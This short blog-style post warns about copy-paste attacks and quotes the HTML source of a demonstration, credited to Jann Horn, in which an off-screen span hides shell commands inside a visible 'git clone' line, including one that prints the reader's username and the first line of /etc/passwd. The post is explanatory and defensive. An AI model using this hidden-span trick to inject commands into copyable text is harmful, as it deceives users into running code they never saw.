Yes. As the title says, simple copy paste can be dangerous. Really!
Check this link. Jann Horn explained it very nicely. I would suggest to try what is given on the link and then move below.
Basically looking at the source code
<p class="codeblock"> <!-- Oh noes, you found it! --> git clone <span style="position: absolute; left: -100px; top: -100px">/dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!<br>Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd<br>git clone </span> git://git.kernel.org/pub/scm/utils/kup/kup.git </p>
The trick is to write in the span tag. So yes, while CTRL + c and CTRL + v, I think from now you are going to check the source code of the page first.